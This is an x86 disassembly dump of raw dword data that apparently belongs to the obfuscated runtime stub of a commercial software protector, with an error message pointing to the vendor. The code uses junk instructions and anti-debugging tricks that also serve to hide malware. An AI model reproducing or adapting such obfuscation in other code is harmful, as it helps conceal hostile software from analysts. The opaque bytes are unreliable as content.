		dd 1Bh,	52C35141h, 99264FF2h, 0FF881C7Bh, 0E4281195h, 0CB8B6605h
		dd 0B70FC085h, 0E8589FEh, 6A05E6ECh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F8DC353h
		dd 681h, 0BD8D0100h, 0F05E427h,	0FF68D0B7h, 6A000F01h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0C65C356h, 2AE1BD83h, 0F0005E4h, 1B84h, 858DFC00h
		dd 5E6EC6Bh, 151DBD8Bh,	15E905E4h, 0F000000h, 383h, 0CBBF0F00h
		dd 0EC41858Dh, 0BD8B05E6h, 5E432C5h, 81525650h,	0F1E0E4F1h
		dd 0FF595F64h, 0E6EC0EB5h, 8A0F6005h, 12h, 0CE8h, 0F407C400h
		dd 0B84B8361h, 103A9CACh, 0FF6159B2h, 0E6EC0695h, 25BD8905h
		dd 8905E42Dh, 0E6EC1285h, 2830F05h, 8B000000h, 8585C7FAh
		dd 5E422h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 17B9C356h, 0D0C351CAh,	609A9E5Fh
		dd 8BCAB70Fh, 0BD8361F8h, 5E6EC12h, 0A8840F00h,	33000001h
		dd 0E40CA98Dh, 0FD850105h, 8D05E424h, 0E6EEF085h, 8B0F6005h
		dd 6, 1FE59D89h, 0BD8905E4h, 5E42781h, 35BD0B61h, 5005E424h
		dd 0CE8h, 6A8C3200h, 85A7E9DDh,	20E95C42h, 0E9852941h
		dd 5A05E42Ah, 16AC88Bh,	10258589h, 0B5FF05E4h, 5E6EC12h
		dd 61F56053h, 0EA81515Fh, 34BA8C9Ah, 0A95FF5Fh,	0F05E6ECh
		dd 0B5FFFBB7h, 5E6EC12h, 1FD98D89h, 95FF05E4h, 5E41845h
		dd 35958Bh, 0B96605E4h,	0FF68AD92h, 66000F01h, 0BD83D78Bh
		dd 5E42AE1h, 45840F00h,	0E9000000h, 10h, 2282CABEh, 0E2A04CFh
		dd 2BDEB9E7h, 223FD8D8h, 0EC6B858Dh, 8D2905E6h,	5E41125h
		dd 2BE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 222F4276h, 0EC41858Dh, 958B05E6h
		dd 5E42D01h, 0EE950h, 0FC2C0000h, 624BFD51h, 29467A25h
		dd 25CFC9B0h, 0EC0EB5FFh, 816605E6h, 0FF4B6CDFh, 0E6EC0695h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0F590AA19h, 9E8h, 0D0883A00h, 0A3D108EAh
		dd 85316884h, 5E432C5h,	0A19D895Fh, 8905E429h, 0E6EC1285h
		dd 9D896005h, 5E419B9h,	8D9D8B60h, 6605E410h, 6161F38Bh
		dd 81BD8B51h, 5A05E431h, 0EC12B5FFh, 0C9BA05E6h, 0FF5EAF23h
		dd 0E6EC0295h, 0D5958905h, 5305E403h, 20E1958Bh, 0FF5F05E4h
		dd 0E6EC12B5h, 0B9958B05h, 0FF05E424h, 0E4184595h, 0F3CB905h
		dd 31BF3D27h, 0E959A157h, 0FFFFF6B8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 20C35040h, 89F9B7D8h, 0E417898Dh
		dd 0A19D0105h, 0FF05E430h, 0E6F75BB5h, 95BD8B05h, 0FF05E40Dh
		dd 0E42A6195h, 99BD8905h, 6605E419h, 402BEF81h,	1C81858Bh
		dd 950905E4h, 5E42131h,	6D6E9h,	79958B00h, 8D05E408h, 0E6EF10B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F284DDA7h, 0BF0F6EC1h, 41858DCBh, 0E805E69Ch
		dd 0Dh,	77F4AD09h, 797F4638h, 79F41F6Eh, 61606085h, 820Fh
		dd 5F610000h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 51BB75C3h, 14E9006Ah, 93000000h
		dd 784DE870h, 0CFA2ADF7h, 5026E484h, 7440AA29h,	0FF18E629h
		dd 0E4024195h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0A9712407h, 89924D0Ah
		dd 0E41C09BDh, 6AF38B05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 8D48C355h, 37CECF81h
		dd 858D2732h, 5E69C41h,	0FF21F180h, 0EF8166D0h,	6A7461h
		dd 0FFFB8B66h, 0E4024195h, 3DB58905h, 8B05E414h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 4A34BAFDh, 0BD8310C9h, 5E416A1h, 83097500h, 0E4220DBDh
		dd 19740005h, 0C08B5350h, 7D9B8h, 15858900h, 8D05E422h
		dd 0E6A8EB9Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h
		dd 7D9B8h, 15858900h, 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h
		dd 81665158h, 5933BADAh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0B5C35141h, 6870Fh, 8D890000h, 5E42DC9h
		dd 22558D29h, 0C08B05E4h, 0F9752FBAh, 0EE968h, 6B620000h
		dd 0D6A5C55h, 999BE9D9h, 0C075B326h, 53006A50h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 7129B928h
		dd 6601B134h, 41F1E781h, 6AD88Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 5E894C3h, 48000000h
		dd 577C0B8Eh, 5FD6BF0Fh, 2D9D8D53h, 8B05E429h, 8B038903h
		dd 43895043h, 0F49D8D50h, 8B05E6F6h, 5B038903h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0AFC35141h, 0E9CB8B66h
		dd 13h,	119566EAh, 1A391AD3h, 1173B1C7h, 0AF7DFA1h, 6A81D6CBh
		dd 8DD18B00h, 0E6F6F485h, 5E86005h, 0A1000000h,	5F19B418h
		dd 8F28166h, 50615B7Fh,	0FCD9523h, 606A05E4h, 292D858Dh
		dd 950B05E4h, 5E42DB9h,	0FE850h, 0FD6B0000h, 75B5876Dh
		dd 8A7EC0B2h, 3D509AABh, 0D7BF0F49h, 16BA665Ah,	6A006AB4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 936DC352h, 28C9033Eh, 0FE8A732h, 9F000000h
		dd 4B155321h, 0E05A83BAh, 5C6137C2h, 8166D136h,	5F7C32E2h
		dd 82DA8166h, 68006ABEh, 1800h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 70C35040h, 0D2B5D2BCh, 47EFE794h
		dd 0F60F85Eh, 88h, 860F6000h, 0
		dd 61616160h, 0C9B70F53h, 2A2995FFh, 0BF0F05E4h, 7195FFCBh
		dd 6A05E419h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 3D05C351h, 1AA202Ch, 0BF66023Ch
		dd 0FFF9AF77h, 0E6F75BB5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B1A725E1h
		dd 0A90D3AD3h, 1995319Eh, 0FF05E404h, 0E42A6195h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0B4F3B093h, 704D50CAh, 0F605942h, 284h, 8B5F5600h, 0E40D55BDh
		dd 858D6105h, 5E4292Dh,	6800Fh,	85010000h, 5E41E05h, 6A18408Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B4BC352h, 0E413BD95h, 5840F05h, 0B9000000h
		dd 4D339879h, 75985C7h,	5E4h, 0BD8B0000h, 5E4114Dh, 2AE1BD83h
		dd 0F0005E4h, 4584h, 0AD8D2300h, 3D05E403h, 8Ch, 1E0830Fh
		dd 7E80000h, 6B000000h,	6238A3E5h, 13E9E0C4h, 0E3000000h
		dd 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 6945172Ah, 0E9592CEDh
		dd 1Bh,	4890Fh,	0BA660000h, 963D4026h, 0F000000h, 1A183h
		dd 0F9BD2B00h, 8D05E414h, 5AF59F85h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A3AD7E6Dh
		dd 6DECDE80h, 0D28166A0h, 0D980BE53h, 50D0FFC1h, 5F5FF951h
		dd 0EFF2858Dh, 0BD8B005Ah, 5E41655h, 29D18589h,	0D0FF05E4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 68C35545h
		dd 81665250h, 5F0EA5DFh, 0E8C08B5Fh, 0Bh, 0A4327FB9h, 51BA61ADh
		dd 0E950EC13h, 11h, 8CB7B077h, 1722D79h, 148F4134h, 5D27D830h
		dd 0BD835F33h, 5E416A1h, 83097500h, 0E4220DBDh,	19740005h
		dd 0C08B5350h, 0BC6B8h,	15858900h, 8D05E422h, 0E6A8EB9Dh
		dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 0BC6B8h, 15858900h
		dd 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h, 65F18158h,	8B454B65h
		dd 958B51C0h, 5E42CB9h,	0FFF88359h, 47850Fh, 81600000h
		dd 0D6E604C9h, 0C761F835h, 0E40FD985h, 5, 0EBE9F500h, 8B000000h
		dd 63E9D3h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0C151AC3h, 89075985h, 0E404F5B5h
		dd 1F88305h, 33850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0B77EB7C3h, 0D0E9F07Ah
		dd 60000000h, 2A1958Bh,	858905E4h, 5E419D1h, 0F046E961h
		dd 8B60FFFFh, 0E42D09B5h, 6840F05h, 89000000h, 0E400BDBDh
		dd 0C08B6105h, 0BD83D18Bh, 5E416A1h, 83097500h,	0E4220DBDh
		dd 19740005h, 0C08B5350h, 7DDB8h, 15858900h, 8D05E422h
		dd 0E6A8EB9Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h
		dd 7DDB8h, 15858900h, 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h
		dd 0CD958958h, 6605E401h, 8BAD90B9h, 81952BC0h,	0E905E425h
		dd 25Fh, 858D62B1h, 5E6F4F8h, 0E8E78166h, 0F0858988h, 0E905E6F6h
		dd 13h,	0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h
		dd 0E9B7D08Bh, 8Bh, 3880Fh, 0E2800000h,	0F08060B8h, 0CA8166E8h
		dd 8D6130E7h, 0E6F30085h, 0FE805h, 0C0730000h, 4FF25269h
		dd 1C7B9926h, 66629288h, 7E9609Dh, 21000000h, 0FFEB6698h
		dd 85897905h, 5E4312Dh,	6A405F61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E0E0C356h
		dd 58D2708h, 718D89CFh,	0E905E416h, 7, 0BB2C5EDEh, 89736CCEh
		dd 0E6F6F085h, 9E905h, 4FE0000h, 1D6A4CABh, 6A07913Fh
		dd 0F9858D34h, 5005E402h, 0F6F0B5FFh, 6A05E6h, 0CC995FFh
		dd 0F88305E4h, 62840F07h, 66000001h, 0C3F6DB8Ch, 0FC850F04h
		dd 0C6000000h, 0E42A4985h, 52685605h, 0FF9CA8B8h, 0E428E5B5h
		dd 94858D05h, 0FF05E439h, 68046AD0h, 1000h, 6A646Ah, 8589D0FFh
		dd 5E6F763h, 2A4985C6h,	684705E4h, 0EC18AC9Bh, 28E5B5FFh
		dd 858D05E4h, 5E43994h,	0D0FFD0FFh, 85C6F08Bh, 5E42A49h
		dd 2661684Fh, 0B5FFC62Fh, 5E40FB9h, 3994858Dh, 0D0FF05E4h
		dd 0F75F9D8Dh, 6A5305E6h, 0D0FF5628h, 75C085h, 2A4985C6h
		dd 684105E4h, 0DB876498h, 0FB9B5FFh, 858D05E4h,	5E43994h
		dd 8589D0FFh, 5E6F77Ch,	2A4985C6h, 684C05E4h, 80A4E7A4h
		dd 0FB9B5FFh, 858D05E4h, 5E43994h, 9D8BD0FFh, 5E6F763h
		dd 53045B8Dh, 0F7689D8Dh, 6A5305E6h, 8BD0FF00h,	0E6F7639Dh
		dd 103C705h, 0C7000000h, 20C43h, 85C70000h, 5E40771h, 0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 5E6F763h, 0FF006A53h, 0E6F75FB5h, 7C95FF05h,	0C605E6F7h
		dd 0E42A4985h, 97684505h, 0FF92A5F7h, 0E42379B5h, 94858D05h
		dd 0FF05E439h, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 0E6F7639Dh, 0C43C705h, 0
		dd 6A006Ah, 0F7639D8Bh,	6A5305E6h, 5FB5FF00h, 0FF05E6F7h
		dd 0E6F77C95h, 5FB5FF05h, 0FF05E6F7h, 0E4197195h, 0FF006A05h
		dd 0E4024195h, 0E9B58905h, 5205E41Ah, 26358D89h, 0F5905E4h
		dd 688h, 9BD8900h, 8D05E41Fh, 0E72D3485h, 3ABF6605h, 0BD8B5000h
		dd 5E41A45h, 35FF64h, 8B000000h, 0E42AD995h, 25896405h
		dd 0
		dd 820Fh, 0BD830000h, 5E42265h,	36840F00h, 8B000000h, 0E400158Dh
		dd 95BD8305h, 105E429h,	23850Fh, 9D890000h, 5E41CADh, 4DB840BAh
		dd 7CBD803Eh, 5E6FBh, 0B850Fh, 8B660000h, 1C2E9D7h, 0B70F0000h
		dd 0FDB33F9h, 88Ch, 0E2815700h,	3B79F801h, 81C0335Ah, 6EE64DD2h
		dd 3F0F4055h, 8F640B07h, 5, 4C48300h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 2CC35040h, 88E52EA7h, 22B58589h
		dd 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 160B98C3h, 9529E40Bh, 5E41795h, 0FFFFB83h
		dd 4B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 426E927Ch, 898817F7h, 0E42095BDh
		dd 0D9D8905h, 0E905E41Ah, 106h,	13E9h, 8D94B000h, 8EC0A284h
		dd 0A24C0313h, 0E13B14F8h, 0AC177BCAh, 7EE9h, 0E18D8B00h
		dd 905E411h, 0E425DD8Dh, 244C8B05h, 0A481C70Ch,	0FF000000h
		dd 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch
		dd 5D000000h, 2D56ED81h, 838B05E7h, 0B8h, 2E1B858Dh, 838905E7h
		dd 0B8h, 0C3C0335Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0CC35343h, 0B5FCF045h, 0D98D0BDCh, 8105E41Fh
		dd 4014BFCFh, 25952920h, 8D05E400h, 0E72D4C85h,	0B5958B05h
		dd 5005E422h, 64C9B70Fh, 35FFh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B70FB3C3h
		dd 258964D6h, 0
		dd 11F59523h, 0AB905E4h, 0B8000000h, 4855D704h,	0F7816405h
		dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh,	0FB81ED00h
		dd 564D5868h, 85C70A75h, 5E41C6Dh, 1, 58F64h, 83000000h
		dd 0BD0904C4h, 5E412F5h, 204D8D89h, 0C08B05E4h,	16FD9D89h
		dd 0BD8305E4h, 5E416A1h, 83097500h, 0E4220DBDh,	19740005h
		dd 0C08B5350h, 43DB8h, 55858900h, 8D05E41Ah, 0E6A9529Dh
		dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 43DB8h, 55858900h
		dd 8D05E41Ah, 0E6A5F39Dh, 5BD3FF05h, 0E1816658h, 0F98BCEC4h
		dd 3AE9C08Bh, 4000001h,	31000000h, 3535382Eh, 7	dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 0B1BD8300h
		dd 5E419h, 12D840Fh, 858D0000h,	5E6A40Ah, 74858D50h, 5005E6A3h
		dd 168h, 1A95FF80h, 8D05E6A4h, 0E72E9285h, 858D5005h, 5E72E9Ch
		dd 6A006A50h, 88858D00h, 5005E6A3h, 0A40AB5FFh,	95FF05E6h
		dd 5E430F5h, 2E92858Dh,	8D5005E7h, 0E72EA085h, 6A5005h
		dd 858D006Ah, 5E6A39Ah,	0AB5FF50h, 0FF05E6A4h, 0E430F595h
		dd 92858D05h, 5005E72Eh, 2EAC858Dh, 6A5005E7h, 8D006A00h
		dd 0E6A3E785h, 0B5FF5005h, 5E6A40Ah, 30F595FFh,	858D05E4h
		dd 5E72E92h, 0B4858D50h, 5005E72Eh, 6A006Ah, 0A405858Dh
		dd 0FF5005E6h, 0E6A40AB5h, 0F595FF05h, 8D05E430h, 0E72E9285h
		dd 858D5005h, 5E72EB0h,	6A006A50h, 0EE858D00h, 5005E6A3h
		dd 0A40AB5FFh, 95FF05E6h, 5E430F5h, 2E92858Dh, 8D5005E7h
		dd 0E72EA485h, 6A5005h,	858D006Ah, 5E6A3F6h, 0AB5FF50h
		dd 0FF05E6A4h, 0E430F595h, 92858D05h, 5005E72Eh, 2EA8858Dh
		dd 6A5005E7h, 8D006A00h, 0E6A3FD85h, 0B5FF5005h, 5E6A40Ah
		dd 30F595FFh, 0B5FF05E4h, 5E6A40Ah, 31B195FFh, 0A2E905E4h
		dd 83000000h, 0E4320DBDh, 840F0005h, 95h, 2995BD83h, 0F0005E4h
		dd 1185h, 0B5958B00h, 8105E41Ah, 1CF8C2h, 0FE900h, 958D0000h
		dd 5E4292Dh, 8134528Bh,	0D4C340C2h, 0ED95893Bh,	8305E41Fh
		dd 0E41FEDBDh, 840F0005h, 55h, 1FED9D8Bh, 0C38305E4h, 89038B4Ch
		dd 0E72E9C85h, 0ED9D8B05h, 8305E41Fh, 38B50C3h,	2EA08589h
		dd 9D8B05E7h, 5E41FEDh,	8B54C383h, 0AC858903h, 8B05E72Eh
		dd 0E41FED9Dh, 58C38305h, 8589038Bh, 5E72EB0h, 1FED9D8Bh
		dd 0C38305E4h, 89038B5Ch, 0E72EA485h, 0B1BD8305h, 5E419h
		dd 0D850Fh, 0BD830000h,	5E4320Dh, 68840F00h, 0FF000000h
		dd 0E72EB4B5h, 0A8B5FF05h, 0FF05E72Eh, 0E72EA4B5h, 0B0B5FF05h
		dd 0FF05E72Eh, 0E72EACB5h, 0A0B5FF05h, 0FF05E72Eh, 0E72E9CB5h
		dd 96858D05h, 5005E72Eh, 2ECE858Dh, 8D5005E7h, 0E4050185h
		dd 95FF5005h, 5E427D5h,	6A24C483h, 0B8858D40h, 5005E72Eh
		dd 501858Dh, 6A5005E4h,	0C995FF00h, 6A05E40Ch, 4195FF01h
		dd 8B05E402h, 6A60C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0D18100C3h, 182FA323h, 830FC08Bh
		dd 2, 0BD83D08Ah, 5E416A1h, 83097500h, 0E4220DBDh, 19740005h
		dd 0C08B5350h, 40EB8h, 15858900h, 8D05E422h, 0E6A8EB9Dh
		dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 40EB8h, 15858900h
		dd 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 81661E50h
		dd 0E8CBF4CAh, 0Bh, 0D23B0F65h,	417A36Ah, 0B5F3B9B2h, 0F1815E58h
		dd 3C2CE34Bh, 0D58AC08Bh, 2265BD83h, 0F0005E4h,	3384h
		dd 6AC98100h, 0E923D1EEh, 13h, 0A154DD37h, 87342F44h, 6E785ED2h
		dd 0D739E128h, 0E9B08280h, 235h, 28A0F60h, 60000000h, 8B0F61h
		dd 61000000h, 0F766DF8Ch, 0F0004C7h, 21885h, 0BF00h, 0F8B50000h
		dd 34EF9D8Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0AE97FC3h, 0FA000000h, 6104DCE5h
		dd 0AA9417F3h, 7E8508Dh, 55000000h, 0EFD6419Dh,	1FBA23BCh
		dd 5A12582Dh, 6A241C89h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 3F8EC355h, 0FC4B1D8h
		dd 178Ah, 12E900h, 4ED10000h, 0BDC699FBh, 0B830B4E1h, 2739115Bh
		dd 684C1124h, 35FF64h, 64000000h, 2589h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 74AEC7C3h, 0E971642Fh, 0B9892E23h, 6BC8449h,	7E9C48Bh
		dd 0AD000000h, 0CE30A9Fh, 0C180929Bh, 0EB01CD6Ch, 3800F00h
		dd 80000000h, 6ADAEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0DAA05AC3h, 0FFDC86DEh, 6435B6CCh
		dd 58Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1D0424h, 56460000h, 79F2CCC3h, 92CE099Bh, 60915B38h
		dd 0FE9h, 19C7F200h, 0EA5CD5F8h, 0C343F15Ch, 7633474Ah
		dd 840F50h, 59000000h, 4C48361h, 0C00BC88Bh, 0BB840Fh
		dd 0E9500000h, 7, 8360CA64h, 597FDD78h,	38D0F61h, 66000000h
		dd 0BD8DF28Bh, 5E46FFDh, 5EE2B550h, 1B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0FAE3B4Bh, 0E7FFC9BFh, 12840Fh, 0CE80000h, 78000000h
		dd 8D1D00A1h, 1A5163F3h, 59F9836Fh, 245C8B57h, 0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 5FB2C3C0h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 67C35646h, 577E5715h,	0A54B4EE1h, 0BE93Bh
		dd 920F0000h, 4095DF8Fh, 22A0D269h, 0C88B6135h,	12E8C08Bh
		dd 33000000h, 423A8694h, 0F9BAB94Bh, 155062CCh,	0D1BE308Ah
		dd 59F08B19h, 16A1BD83h, 750005E4h, 0DBD8309h, 5E422h
		dd 53501974h, 0EB8C08Bh, 89000004h, 0E41A5585h,	529D8D05h
		dd 0FF05E6A9h, 83585BD3h, 0E4220DBDh, 17740005h, 0EB85350h
		dd 89000004h, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 6A585BD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 6F7AC352h, 4876AD63h, 0D38B6604h,	0EE860h
		dd 16C90000h, 2FA86AE9h, 0A8931748h, 847119BEh,	6BCE8166h
		dd 8E0F5F92h, 0Ch, 7E9h, 33898400h, 63CE4870h, 0D7BF0F61h
		dd 8E9C08Bh, 54000000h,	30C4325Fh, 8BD215A8h, 5E8C2h, 80640000h
		dd 0F53FFC9h, 586h, 0C3816600h,	815E848Bh, 0B53FA5D3h
		dd 2BC68167h, 8B00005Dh, 0BFCBh, 0BA660000h, 48B4D8Fh
		dd 0D0B9663Eh, 10F081A7h, 0E9417A86h, 8, 9EA90D3Ah, 0FC94113Ch
		dd 0E881F081h, 0D78A679Ah, 6874F081h, 0B5575885h, 0B9505AA4h
		dd 74A5920Bh, 663E048Fh, 0D0F0F381h, 83DFB70Fh,	0D28104EFh
		dd 3727A810h, 0A350FF81h, 850FFFFFh, 0FFFFFFAEh, 959E0ABAh
		dd 1718EB4Dh, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0E736C5EDh
		dd 4C26105h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5E736FDh,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5E73701h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 0ED858B00h, 8605E41Fh
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 5E40765h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 0ED858B00h,	0C605E41Fh, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0E41FED85h, 0A188605h
		dd 0F6850FDBh, 0C7FFFFFFh, 0E4020985h, 5, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5E40209h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 5E736A2h, 1
		dd 4C010F50h, 858FFE24h, 5E736A6h, 369E858Dh, 0BD8D05E7h
		dd 5E736A6h, 23E93889h,	8D000000h, 0E4292D85h, 38408B05h
		dd 46F31705h, 9E85899Bh, 8D05E736h, 0E4292D85h,	3C408B05h
		dd 36A28589h, 858D05E7h, 5E736BBh, 7658589h, 87E905E4h
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5E7392Eh
		dd 32B58589h, 858D05E4h, 5E73956h, 1DFD8589h, 858D05E4h
		dd 5E7397Eh, 19858589h,	8EB05E4h, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2995858Bh
		dd 858D05E4h, 5E78589h,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 5E739DFh, 2AE1BD83h,	0F0005E4h, 0F84h, 6A6000h, 10C195FFh
		dd 0E96105E4h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 0E739DB85h, 0DFB58B05h, 0C105E739h, 896610CEh
		dd 0B58B0272h, 5E739DFh, 0FC728966h, 0DB858B61h, 0C305E739h
		dd 0DD5958Dh, 958905E4h, 5E41FEDh, 11919589h, 85FF05E4h
		dd 5E41191h, 2A4985C6h,	685305E4h, 0FCB148D8h, 28E5B5FFh
		dd 858D05E4h, 5E43994h,	8589D0FFh, 5E410C1h, 36D5858Dh
		dd 858905E7h, 5E42429h,	51E9h, 748B6000h, 76032424h, 247C8B3Ch
